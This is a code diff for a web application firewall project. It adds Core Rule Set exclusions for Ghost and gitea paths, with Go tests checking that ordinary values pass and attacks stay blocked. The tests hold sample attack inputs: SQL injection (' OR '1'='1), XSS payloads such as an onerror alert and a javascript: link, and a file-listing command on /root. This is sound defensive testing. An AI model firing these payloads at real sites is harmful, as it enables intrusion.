+		`{"posts":[{"feature_image_caption":` +
+			`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
+	},
+	{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
+
+	// A member's comment, written and edited.
+	ghostNewComment,
+	{
+		http.MethodPut,
+		ghostComments + "6af5426ae56ecb0001938894/",
+		`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
+	},
+
+	// ActivityPub: a note, a reply, the description of their image, and the
+	// account.
+	{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
+	{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
+	{http.MethodPost, ghostNote, ghostNoteImage},
+	{http.MethodPost, ghostReply, ghostNoteImage},
+	{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
+	{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
+	{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
 }
 
+// ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
+//
+//nolint:gochecknoglobals // a constant cannot be a struct
+var ghostNewComment = ghostField{
+	http.MethodPost,
+	ghostComments,
+	`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
+}
+
+// ghostComment is the HTML of an ordinary comment, with a link.
+const ghostComment = `Try <strong>python3</strong>, then ` +
+	`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
+
+// ghostNoteImage is the body of a note or a reply in ActivityPub with an
+// image, with VALUE as the image's description.
+const ghostNoteImage = `{"content":"My desk","image":{"url":` +
+	`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
+
+// ghostReply is the path that posts a reply to a note in ActivityPub.
+const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
+	"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
+	"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
+
 // ghostMemberName is the body that saves a member's name at /members/api/.
 const ghostMemberName = `{"name":"VALUE"}`
 
@@ -135,6 +251,8 @@ var ghostAddressFields = []ghostField{
 	{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
 	{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
 	{http.MethodPost, ghostSetup, `{"setup":[{"email":"VALUE"}]}`},
+	{http.MethodPost, ghostInvites, `{"invites":[{"email":"VALUE"}]}`},
+	{http.MethodPost, ghostInvitation, `{"invitation":[{"email":"VALUE"}]}`},
 	{
 		http.MethodPost,
 		ghostPasswordReset,
@@ -143,6 +261,43 @@ var ghostAddressFields = []ghostField{
 	{http.MethodPut, ghostUser, `{"users":[{"email":"VALUE"}]}`},
 }
 
+// ghostHandleFields hold an account's handle in ActivityPub, which the admin
+// sends as an @ followed by an address, with no spaces. They skip 930120 and
+// 932120.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var ghostHandleFields = []ghostField{
+	{http.MethodPost, ghostAliases, `{"sourceHandle":"@VALUE"}`},
+	{http.MethodPost, ghostMigration, `{"targetHandle":"@VALUE"}`},
+}
+
+// ghostDomainFields hold the domain of the site's handle in ActivityPub and
+// skip 930120, 932120 and 932260.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var ghostDomainFields = []ghostField{
+	{http.MethodPut, ghostDomain, `{"domain":"VALUE"}`},
+	{http.MethodPost, ghostDomain + "/validate", `{"domain":"VALUE"}`},
+}
+
+// ghostURLFields hold the canonical URL of a post, a page or a tag, or the
+// address of an account removed from those that move here in ActivityPub.
+// They skip 930120 and 932120, as url does.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var ghostURLFields = []ghostField{
+	{http.MethodPut, ghostPost, `{"posts":[{"canonical_url":"VALUE"}]}`},
+	{http.MethodPost, ghostPosts, `{"posts":[{"canonical_url":"VALUE"}]}`},
+	{http.MethodPut, ghostPage, `{"pages":[{"canonical_url":"VALUE"}]}`},
+	{http.MethodPost, ghostTags, `{"tags":[{"canonical_url":"VALUE"}]}`},
+	{
+		http.MethodPut,
+		ghostTags + "6af45d4ed281b00001a599a8/",
+		`{"tags":[{"canonical_url":"VALUE"}]}`,
+	},
+	{http.MethodDelete, ghostAliases, `{"actorUri":"VALUE"}`},
+}
+
 // ghostPostFields hold a post or a page, skip the rules of 900355, and take a
 // <script> element by 900366.
 //
@@ -183,8 +338,8 @@ var ghostArticleFields = slices.Concat(
 	ghostSnippetAndNewsletterFooterFields,
 )
 
-// ghostCodeFields hold code injection or a setting, skip the rules of 900356,
-// and take a <script> element by 900366.
+// ghostCodeFields hold code injection or a setting, skip the rules of 900356
+// and 900378, and take a <script> element by 900366 and 900378.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostCodeFields = []ghostField{
@@ -203,6 +358,16 @@ var ghostCodeFields = []ghostField{
 		`{"settings":[{"key":"title","value":"Blog"},` +
 			`{"key":"codeinjection_head","value":"VALUE"}]}`,
 	},
+	{
+		http.MethodPost,
+		ghostTags,
+		`{"tags":[{"codeinjection_head":"VALUE"}]}`,
+	},
+	{
+		http.MethodPut,
+		ghostTags + "6af45d4ed281b00001a599a8/",
+		`{"tags":[{"codeinjection_foot":"VALUE"}]}`,
+	},
 }
 
 // The query fields that skip some rules, each ending in "=".
@@ -211,22 +376,50 @@ const (
 	ghostContentFilter = "/ghost/api/content/posts/?key=c695aa1f5cdfa62f7b677c3c83&filter="
 	ghostSearch        = ghostMembers + "?limit=100&search="
 	ghostEmbed         = "/ghost/api/admin/oembed/?type=bookmark&url="
+	ghostStats         = "/ghost/api/admin/stats/top-content/?date_from=2026-10-13"
+	ghostPathname      = ghostStats + "&pathname="
+	ghostSource        = ghostStats + "&source="
+	ghostCampaign      = ghostStats + "&utm_campaign="
+	ghostSegment       = ghostPost + "?newsletter=default-newsletter&email_segment="
+	ghostAccountSearch = "/.ghost/activitypub/v1/actions/search?query="
+	ghostInvitedEmail  = ghostInvitation + "?email="
 )
 
+// ghostAnalyticsFilters are source and the utm_ fields, which filter the
+// analytics, each ending in "=".
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var ghostAnalyticsFilters = []string{
+	ghostSource,
+	ghostStats + "&utm_source=",
+	ghostStats + "&utm_medium=",
+	ghostCampaign,
+	ghostStats + "&utm_content=",
+	ghostStats + "&utm_term=",
+}
+
 // ghostQueryFields are the query fields that skip some rules.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostQueryFields = []string{
 	ghostAdminFilter, ghostContentFilter, ghostSearch, ghostEmbed,
+	ghostPathname, ghostSource, ghostCampaign, ghostSegment,
+	ghostAccountSearch, ghostInvitedEmail,
 }
 
-// ghostURLs are addresses 930120 and 932120 refused in url.
+// ghostCommandNames joins two command names, as an ordinary title can.
+const ghostCommandNames = "powershell & python3"
+
+// ghostURLs are addresses 930120 and 932120 refused in url and in
+// ghostURLFields.
 //
 //nolint:gochecknoglobals // a constant cannot be a list
 var ghostURLs = []string{
 	"https://github.com/example/site/blob/main/.htaccess",
 	"https://example.com/blog/powershell-tips?ref=ghost",
 	"https://example.com/docs/python3/",
+	"https://example.com/blog/powershell/",
+	"https://example.com/blog/.htaccess/",
 }
 
 // ghostAddresses are addresses 930120, 932120 and 932260 refused.
@@ -238,6 +431,15 @@ var ghostAddresses = []string{
 	"dave.powershell@example.com",
 }
 
+// ghostDomains are domains 930120, 932120 and 932260 refused.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var ghostDomains = []string{
+	"erin.htaccess.example.com",
+	"python3.example.com",
+	"powershell.example.com",
+}
+
 // ghostArticle is an ordinary article with a code block, an HTML card and an
 // embed, which each of the rules of 900355 refused.
 const ghostArticle = `<h2>Tidy .htaccess with python3</h2>` +
@@ -327,14 +529,24 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 
 	for _, address := range ghostURLs {
 		wantGhostQuery(t, ghostEmbed+url.QueryEscape(address), false)
+
+		for _, f := range ghostURLFields {
+			wantGhostField(t, f, address, false)
+		}
 	}
 
 	for _, address := range ghostAddresses {
-		for _, f := range ghostAddressFields {
+		for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields) {
 			wantGhostField(t, f, address, false)
 		}
 	}
 
+	for _, domain := range ghostDomains {
+		for _, f := range ghostDomainFields {
+			wantGhostField(t, f, domain, false)
+		}
+	}
+
 	for _, f := range ghostArticleFields {
 		wantGhostField(t, f, ghostArticle, false)
 	}
@@ -343,6 +555,14 @@ func TestGhostOrdinaryValuesPassInTheExcludedFields(t *testing.T) {
 		wantGhostField(t, f, ghostCodeInjection, false)
 	}
 
+	wantGhostField(t, ghostNewComment, ghostComment, false)
+	wantGhostField(
+		t,
+		ghostField{http.MethodPost, ghostNote, ghostNoteImage},
+		"A terminal running ls -la on .htaccess with python3",
+		false,
+	)
+
 	wantGhostQuery(t, "/ghost/api/admin/posts/?filter="+
 		url.QueryEscape(
 			"tag:powershell+status:[draft,scheduled,published,sent]",
@@ -376,7 +596,8 @@ func TestGhostScriptsPassInPostsAndCodeInjection(t *testing.T) {
 		wantGhostField(t, f, ghostWidget, false)
 	}
 
-	// Site code injection, saved in settings, and a post's or a page's own.
+	// Site code injection, saved in settings, and a post's, a page's or a
+	// tag's own.
 	for _, f := range ghostCodeFields {
 		wantGhostField(t, f, ghostAnalytics, false)
 	}
@@ -395,6 +616,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 
 	for _, attack := range ghostAttacks {
 		for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
+			ghostHandleFields, ghostDomainFields, ghostURLFields,
 			ghostArticleFields, ghostCodeFields) {
 			wantGhostField(t, f, attack, true)
 		}
@@ -407,6 +629,7 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 	// A script injection stays refused in every field that does not take a
 	// <script> element.
 	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields,
+		ghostHandleFields, ghostDomainFields, ghostURLFields,
 		ghostSnippetAndNewsletterFooterFields) {
 		wantGhostField(t, f, scriptTag, true)
 	}
@@ -415,13 +638,19 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		wantGhostQuery(t, target+url.QueryEscape(scriptTag), true)
 	}
 
-	// A command after a separator stays refused wherever its rules do not
-	// misfire: in the query fields, the plain text and the addresses.
-	for _, f := range slices.Concat(ghostTextFields, ghostAddressFields) {
+	// A command after a separator stays refused wherever 932235 does not
+	// misfire: in the addresses, handles, the domain, ghostURLFields, search,
+	// url, pathname, email_segment and email. The other fields skip 932235,
+	// which refuses "powershell & python3" as it refuses this.
+	for _, f := range slices.Concat(ghostAddressFields, ghostHandleFields,
+		ghostDomainFields, ghostURLFields) {
 		wantGhostField(t, f, commandAfterASeparator, true)
 	}
 
-	for _, target := range ghostQueryFields {
+	for _, target := range []string{
+		ghostSearch, ghostEmbed, ghostPathname, ghostSegment,
+		ghostInvitedEmail,
+	} {
 		wantGhostQuery(
 			t,
 			target+url.QueryEscape(commandAfterASeparator),
@@ -429,6 +658,15 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		)
 	}
 
+	// A comment keeps the rules for scripts and HTML.
+	wantGhostField(t, ghostNewComment, `<img src=x onerror=alert(1)>`, true)
+	wantGhostField(
+		t,
+		ghostNewComment,
+		`<a href="javascript:alert(1)">x</a>`,
+		true,
+	)
+
 	// The articles and code injection carry HTML on purpose, but a
 	// javascript: link is still refused there, and a script element in
 	// snippets and a newsletter's footer.
@@ -440,12 +678,138 @@ func TestGhostAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 		wantGhostField(t, f, `<p>Hi</p><script src="/x.js"></script>`, true)
 	}
 
-	// An address keeps 932250, which refuses a listing of files.
-	for _, f := range ghostAddressFields {
+	// An address and the domain keep 932250, which refuses a listing of
+	// files. A handle keeps it too, but its @ comes before any command.
+	for _, f := range slices.Concat(ghostAddressFields, ghostDomainFields) {
 		wantGhostField(t, f, "ls -la /root", true)
 	}
 }
 
+func TestGhostTwoCommandNamesPass(t *testing.T) {
+	t.Parallel()
+
+	// The site's title, saved through settings.
+	siteTitle := ghostField{
+		http.MethodPut,
+		ghostSettings,
+		`{"settings":[{"key":"title","value":"VALUE"}]}`,
+	}
+	wantGhostField(t, siteTitle, ghostCommandNames, false)
+
+	// Values that join two command names, as a person types them.
+	for _, typed := range []string{
+		ghostCommandNames, "python3 & powershell", "powershell & ls -la",
+		"ls -la & python3",
+	} {
+		for _, f := range slices.Concat(ghostTextFields, ghostCodeFields) {
+			wantGhostField(t, f, typed, false)
+		}
+
+		wantGhostImportLabel(t, ghostImport, typed, false)
+
+		for _, target := range slices.Concat(
+			ghostAnalyticsFilters,
+			[]string{ghostAccountSearch},
+		) {
+			wantGhostQuery(t, target+url.QueryEscape(typed), false)
+		}
+
+		// filter as the admin's post picker writes it, after a person types
+		// such a title.
+		filter := "status:published+title:~'" + typed + "'"
+		wantGhostQuery(t, ghostAdminFilter+url.QueryEscape(filter), false)
+	}
+}
+
+// TestGhostOrdinaryQueriesPass checks the query fields of the analytics
+// pages, email_segment, the search of ActivityPub and the check of an
+// invitation.
+func TestGhostOrdinaryQueriesPass(t *testing.T) {
+	t.Parallel()
+
+	for _, encoded := range hardValues {
+		value, _ := url.QueryUnescape(encoded)
+		text := url.QueryEscape("Notes on " + value + " & tidy files")
+
+		for _, target := range ghostAnalyticsFilters {
+			wantGhostQuery(t, target+encoded, false)
+		}
+
+		wantGhostQuery(t, ghostCampaign+text, false)
+		wantGhostQuery(t, ghostAccountSearch+text, false)
+	}
+
+	// pathname, the page the analytics show: a post and two tag pages.
+	for _, path := range []string{
+		"/tag/proc/", "/python3-and-powershell/", "/tag/python3/",
+	} {
+		wantGhostQuery(t, ghostPathname+url.QueryEscape(path), false)
+	}
+
+	wantGhostQuery(
+		t,
+		ghostCampaign+url.QueryEscape(ghostCommandNames),
+		false,
+	)
+	wantGhostQuery(
+		t,
+		ghostAccountSearch+"%40powershell%40example.com",
+		false,
+	)
+
+	for _, segment := range []string{
+		"label:powershell-users", "label:python3", "label:ls-la",
+		"label:htaccess", "status:free,tier:powershell-club",
+	} {
+		wantGhostQuery(t, ghostSegment+url.QueryEscape(segment), false)
+	}
+
+	for _, address := range ghostAddresses {
+		wantGhostQuery(t, ghostInvitedEmail+url.QueryEscape(address), false)
+	}
+}
+
+// wantGhostImportLabel checks that the Core Rule Set, reading bodies,
+// refuses label, sent as labels in a CSV import to target, or lets it
+// through.
+func wantGhostImportLabel(
+	t *testing.T, target, label string, refused bool,
+) {
+	t.Helper()
+
+	r := request{http.MethodPost, target, []string{multipart}}
+	body := field("labels", label) + field("mapping[email]", "email") + end
+
+	got, _ := inspectBody(t, readingBodies(t), r, body)
+	if refused && got.Score < ghostThreshold {
+		t.Errorf("labels=%q at %s let through: %+v", label, target, got)
+	}
+
+	if !refused && got.Score >= ghostThreshold {
+		t.Errorf("labels=%q at %s refused: %+v", label, target, got)
+	}
+}
+
+func TestGhostImportLabelsPass(t *testing.T) {
+	t.Parallel()
+
+	for _, encoded := range hardValues {
+		value, _ := url.QueryUnescape(encoded)
+		wantGhostImportLabel(t, ghostImport, value+" import", false)
+	}
+
+	wantGhostImportLabel(t, ghostImport, ghostCommandNames, false)
+
+	for _, attack := range ghostAttacks {
+		wantGhostImportLabel(t, ghostImport, attack, true)
+	}
+
+	// labels keeps its rules on other paths, and when the query has a field
+	// of the same name.
+	wantGhostImportLabel(t, ghostMembers, "python3 import", true)
+	wantGhostImportLabel(t, ghostImport+"?labels=x", "python3 import", true)
+}
+
 func TestGhostExclusionsAreNarrow(t *testing.T) {
 	t.Parallel()
 
@@ -462,6 +826,8 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 		setupEmail         = `{"setup":[{"email":"python3.dev@example.com"}]}`
 		passwordResetEmail = `{"password_reset":[{"email":"python3.dev@example.com"}]}`
 		userEmail          = `{"users":[{"email":"python3.dev@example.com"}]}`
+		postURL            = `{"posts":[{"canonical_url":"https://example.com/powershell/"}]}`
+		pageURL            = `{"pages":[{"canonical_url":"https://example.com/powershell/"}]}`
 	)
 
 	for _, refused := range []struct{ target, body string }{
@@ -481,7 +847,6 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 			`{"settings":[{"value":"<meta name=x content=y>"}]}`,
 		},
 		{"/ghost/api/admin/members/", `{"members":[{"geolocation":"python3"}]}`},
-		{"/ghost/api/admin/invites/", `{"invites":[{"email":"python3.dev@example.com"}]}`},
 		{ghostPosts, email},
 		{ghostMembers, email},
 		{ghostMember, `{"members":[{"email":"python3.dev@example.com"}]}`},
@@ -498,6 +863,12 @@ func TestGhostExclusionsAreNarrow(t *testing.T) {
 		{ghostPasswordReset + "?json.password_reset.0.email=x", passwordResetEmail},
 		{ghostPosts, userEmail},
 		{ghostUser + "?json.users.0.email=x", userEmail},
+		{"/api/posts/1/", postURL},
+		{ghostMembers, postURL},
+		{ghostPage, postURL},
+		{ghostPost + "?json.posts.0.canonical_url=x", postURL},
+		{ghostPost, pageURL},
+		{ghostPage + "?json.pages.0.canonical_url=x", pageURL},
 		{ghostSession, `{"username":"x","pass":"' OR '1'='1"}`},
 		{"/ghost/api/admin/users/me/", `{"password":"' OR '1'='1"}`},
 		{"/ghost/api/admin/posts/1/", `{"users":[{"profile_image":null}]}`},
@@ -533,6 +904,7 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
 		script           = `<script defer src=\"/script.js\"></script>`
 		scriptInPost     = `{"posts":[{"lexical":"` + script + `"}]}`
 		scriptInSettings = `{"settings":[{"value":"` + script + `"}]}`
+		scriptInTag      = `{"tags":[{"codeinjection_head":"` + script + `"}]}`
 	)
 
 	for _, refused := range []struct{ target, body string }{
@@ -542,6 +914,8 @@ func TestGhostScriptExclusionIsNarrow(t *testing.T) {
 		{"/ghost/api/admin/users/me/", `{"users":[{"bio":"` + script + `"}]}`},
 		{"/api/settings/", scriptInSettings},
 		{ghostSettings + "?json.settings.0.value=x", scriptInSettings},
+		{ghostPosts, scriptInTag},
+		{ghostTags + "?json.tags.0.codeinjection_head=x", scriptInTag},
 	} {
 		r := request{http.MethodPut, refused.target, []string{jsonBody}}
 
@@ -563,7 +937,8 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
 
 	// The query fields keep their rules off Ghost's paths, and in other
 	// query fields there. search skips its rules only on the Admin API, and
-	// url only on the editor's lookup of embeds.
+	// url only on the editor's lookup of embeds. pathname, email_segment,
+	// query and email skip theirs only on their own paths.
 	for _, target := range []string{
 		"/api/posts/?filter=powershell",
 		"/ghost/posts/?filter=powershell",
@@ -572,11 +947,79 @@ func TestGhostQueryExclusionsAreNarrow(t *testing.T) {
 		"/members/api/member/?search=python3",
 		"/ghost/api/admin/posts/?url=powershell",
 		"/oembed/?url=powershell",
+		"/ghost/api/admin/posts/?pathname=%2Fpowershell%2F",
+		"/ghost/api/admin/stats/top-content/?order=powershell",
+		"/ghost/api/admin/pages/?email_segment=label%3Apowershell-users",
+		"/ghost/api/admin/posts/?query=python3",
+		"/.ghost/activitypub/v1/actions/note?query=python3",
+		"/ghost/api/admin/invites/?email=python3.dev%40example.com",
 	} {
 		wantGhostQuery(t, target, true)
 	}
 }
 
+// TestGhostStaffCommentAndActivityPubExclusionsAreNarrow checks the body
+// fields that 900370 to 900382 name, as TestGhostExclusionsAreNarrow checks
+// the others: each keeps its rules on another path, and when the query has
+// a field of the same name.
+func TestGhostStaffCommentAndActivityPubExclusionsAreNarrow(t *testing.T) {
+	t.Parallel()
+
+	const (
+		bio          = `{"users":[{"bio":"python3"}]}`
+		comment      = `{"comments":[{"html":"<p>Notes on .htaccess</p>"}]}`
+		content      = `{"content":"python3"}`
+		altText      = `{"image":{"altText":"python3"}}`
+		accountBio   = `{"bio":"python3"}`
+		invited      = `{"invites":[{"email":"python3.dev@example.com"}]}`
+		accepted     = `{"invitation":[{"email":"python3.dev@example.com"}]}`
+		sourceHandle = `{"sourceHandle":"@powershell@example.com"}`
+		actorURI     = `{"actorUri":"https://example.com/users/powershell"}`
+		targetHandle = `{"targetHandle":"@powershell@example.com"}`
+		domain       = `{"domain":"python3.example.com"}`
+		tagCode      = `{"tags":[{"codeinjection_head":"<meta name=x content=y>"}]}`
+		tagURL       = `{"tags":[{"canonical_url":"https://example.com/tag/powershell/"}]}`
+	)
+
+	for _, refused := range []struct{ target, body string }{
+		{"/api/users/1/", bio},
+		{ghostMember, bio},
+		{ghostUser + "?json.users.0.bio=x", bio},
+		{ghostPosts, comment},
+		{ghostComments + "?json.comments.0.html=x", comment},
+		{ghostAccount, content},
+		{ghostNote + "?json.content=x", content},
+		{ghostAccount, altText},
+		{ghostNote + "?json.image.altText=x", altText},
+		{ghostNote, accountBio},
+		{ghostAccount + "?json.bio=x", accountBio},
+		{ghostPosts, invited},
+		{ghostInvites + "?json.invites.0.email=x", invited},
+		{ghostInvites, accepted},
+		{ghostInvitation + "?json.invitation.0.email=x", accepted},
+		{ghostMigration, sourceHandle},
+		{ghostAliases + "?json.sourceHandle=x", sourceHandle},
+		{ghostMigration, actorURI},
+		{ghostAliases + "?json.actorUri=x", actorURI},
+		{ghostAliases, targetHandle},
+		{ghostMigration + "?json.targetHandle=x", targetHandle},
+		{ghostAccount, domain},
+		{ghostDomain + "?json.domain=x", domain},
+		{ghostPosts, tagCode},
+		{ghostTags + "?json.tags.0.codeinjection_head=x", tagCode},
+		{ghostPosts, tagURL},
+		{ghostTags + "?json.tags.0.canonical_url=x", tagURL},
+	} {
+		r := request{http.MethodPut, refused.target, []string{jsonBody}}
+
+		got, _ := inspectBody(t, readingBodies(t), r, refused.body)
+		if got.Score < ghostThreshold {
+			t.Errorf("PUT %s %s let through: %+v", refused.target,
+				refused.body, got)
+		}
+	}
+}
+
 func TestGhostPasswordsPass(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/gitea.conf

@@ -172,11 +172,11 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
 
 # A branch, tag or package name can hold a slash, as feat/docker-support and
 # npm's @scope/name do. So q on a repository's branches, tags and packages
-# pages, on an owner's packages page and on the admin page of packages also
-# skips this rule:
+# pages, on an owner's packages page, on the admin page of packages and on the
+# API's search of packages also skips this rule:
 #   932160: /bin/sh
 SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
-    admin/packages)$" \
+    admin/packages|api/v1/packages/[^/]+)$" \
     "id:900605,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932160;ARGS:q"
 
 # gitea's other searches send a name or a few words in q too, which skips only
@@ -188,7 +188,9 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
 # The searches:
 #   - the dashboard's filter of repositories;
 #   - the author filter of the issue and pull request lists;
-#   - the lists of users and organisations, and the API's search for users;
+#   - the lists of users and organisations;
+#   - the API's searches of users, of topics, of an organisation's teams and of
+#     emails;
 #   - the list of repositories a user watches;
 #   - an organisation's milestones of one team, and its search for teams;
 #   - the milestones of a repository or an organisation, and the projects of a
@@ -205,7 +207,9 @@ SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+/[^/]+/(?:branches|tags|packages)|\
 # versions holds the package's name, which can hold a slash, as npm's
 # @scope/name does.
 SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
-    explore/(?:users|organizations)|api/v1/users/search|\
+    explore/(?:users|organizations)|\
+    api/v1/(?:users/search|topics/search|orgs/[^/]+/teams/search|\
+    admin/emails/search)|\
     org/[^/]+/(?:milestones/[^/]+|teams/-/search)|\
     [^/]+/-/packages/[^/]+/.+/versions|\
     [^/]+/[^/]+/(?:(?:issues|pulls)/posters|issues/suggestions|milestones|\
@@ -219,6 +223,29 @@ SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|notifications/watching|\
     ctl:ruleRemoveTargetById=932250;ARGS:q,\
     ctl:ruleRemoveTargetById=932260;ARGS:q"
 
+# Two of the API's searches send their words in a field other than q, which
+# skips these rules there:
+#   930120: .htaccess
+#   932120: powershell
+#   932250: ls -la
+#   932260: python3, alice/python3-app
+# The search of unadopted repositories sends an owner and a name, such as
+# alice/python3-app, in query.
+SecRule REQUEST_FILENAME "@rx ^/api/v1/admin/unadopted$" \
+    "id:900607,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:query,\
+    ctl:ruleRemoveTargetById=932120;ARGS:query,\
+    ctl:ruleRemoveTargetById=932250;ARGS:query,\
+    ctl:ruleRemoveTargetById=932260;ARGS:query"
+
+# The search of a repository's milestones sends a milestone's name in name.
+SecRule REQUEST_FILENAME "@rx ^/api/v1/repos/[^/]+/[^/]+/milestones$" \
+    "id:900608,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:name,\
+    ctl:ruleRemoveTargetById=932120;ARGS:name,\
+    ctl:ruleRemoveTargetById=932250;ARGS:name,\
+    ctl:ruleRemoveTargetById=932260;ARGS:name"
+
 # The repositories on a user's or an organisation's page are searched with q
 # too. Their path has one segment, so q skips these rules on every path of one
 # segment, other apps' pages such as /index.php included:

internal/coreruleset/gitea_test.go

@@ -3,6 +3,7 @@ package coreruleset_test
 import (
 	"net/http"
 	"slices"
+	"strings"
 	"testing"
 
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -182,7 +183,7 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
 		}
 	}
 
-	attacks := []string{"%2Fbin%2Fsh", commandInjection, pathTraversal}
+	attacks := []string{binSh, commandInjection, pathTraversal}
 
 	// /bin/sh, a shell command after a ";", a path traversal and the hard
 	// values stay refused in q on paths near the searches, and in another
@@ -248,3 +249,102 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
 		}
 	}
 }
+
+// giteaAPISearches are the API's searches that gitea and Forgejo share whose
+// field skips the lists of system files and command names. Each ends in the
+// field it sends its words in.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var giteaAPISearches = []string{
+	"/api/v1/users/search?q=",
+	"/api/v1/topics/search?q=",
+	"/api/v1/orgs/acme/teams/search?q=",
+	"/api/v1/admin/emails/search?q=",
+	"/api/v1/admin/unadopted?query=",
+	"/api/v1/repos/alice/tools/milestones?name=",
+}
+
+// giteaAPIPackageSearch is the API's search of an owner's packages, whose q
+// also lets /bin/sh through, since a package name can hold a slash.
+const giteaAPIPackageSearch = "/api/v1/packages/alice?q="
+
+func TestGiteaAttacksAreRefusedInItsAPISearches(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
+
+	defaults, bodies := atDefaults(t), readingBodies(t)
+	searches := slices.Concat(
+		giteaAPISearches,
+		[]string{giteaAPIPackageSearch},
+	)
+
+	for _, search := range searches {
+		path, field, _ := strings.Cut(search, "?")
+
+		for _, attack := range []string{
+			sqlInjection, pathTraversal, scriptInjection, commandInjection,
+		} {
+			if got := inspect(t, defaults, get(search+attack)); got.Score < threshold {
+				t.Errorf("GET %s%s let through: %+v", search, attack, got)
+			}
+
+			// The same field in a form data body.
+			r := request{http.MethodPost, path, []string{formData}}
+			if got, _ := inspectBody(t, bodies, r, field+attack); got.Score < threshold {
+				t.Errorf(
+					"POST %s %s%s let through: %+v",
+					path,
+					field,
+					attack,
+					got,
+				)
+			}
+		}
+	}
+
+	// /bin/sh stays refused on the searches that are not of packages.
+	for _, search := range giteaAPISearches {
+		if got := inspect(t, defaults, get(search+binSh)); got.Score < threshold {
+			t.Errorf("%s%s let through: %+v", search, binSh, got)
+		}
+	}
+}
+
+func TestGiteaAPISearchExclusionsAreNarrow(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
+
+	crs := atDefaults(t)
+
+	// /bin/sh, a shell command after a ";", a path traversal and the hard
+	// values stay refused in each search's field on paths near the
+	// searches, and in another field on them.
+	for _, target := range []string{
+		"/api/v1/topics/search/x?q=",
+		"/api/v1/orgs/acme/teams?q=",
+		"/api/v1/orgs/acme/teams/search/x?q=",
+		"/api/v1/admin/emails?q=",
+		"/api/v1/admin/unadopted/alice/legacy-site?query=",
+		"/api/v1/admin/users?query=",
+		"/api/v1/repos/alice/tools/milestones/1?name=",
+		"/api/v1/repos/alice/tools/labels?name=",
+		"/api/v1/packages/alice/generic/tools-cli?q=",
+		"/api/v1/topics/search?other=",
+		"/api/v1/orgs/acme/teams/search?other=",
+		"/api/v1/admin/emails/search?other=",
+		"/api/v1/admin/unadopted?q=",
+		"/api/v1/repos/alice/tools/milestones?q=",
+		"/api/v1/packages/alice?other=",
+	} {
+		for _, value := range slices.Concat(
+			[]string{binSh, commandInjection, pathTraversal},
+			hardValues,
+		) {
+			if got := inspect(t, crs, get(target+value)); got.Score < threshold {
+				t.Errorf("%s%s let through: %+v", target, value, got)
+			}
+		}
+	}
+}

internal/coreruleset/mediawiki_test.go

@@ -76,7 +76,8 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
 	t.Parallel()
 
 	crs := shared(t, coreruleset.Params{
-		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
+		ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
+		BodyInspectionSize: bodyInspectionSize,
 		Apps: map[string][]string{
 			giteaHost: {gitea},
 			otherHost: {mediawiki},
@@ -120,7 +121,8 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
 	t.Parallel()
 
 	crs := shared(t, coreruleset.Params{
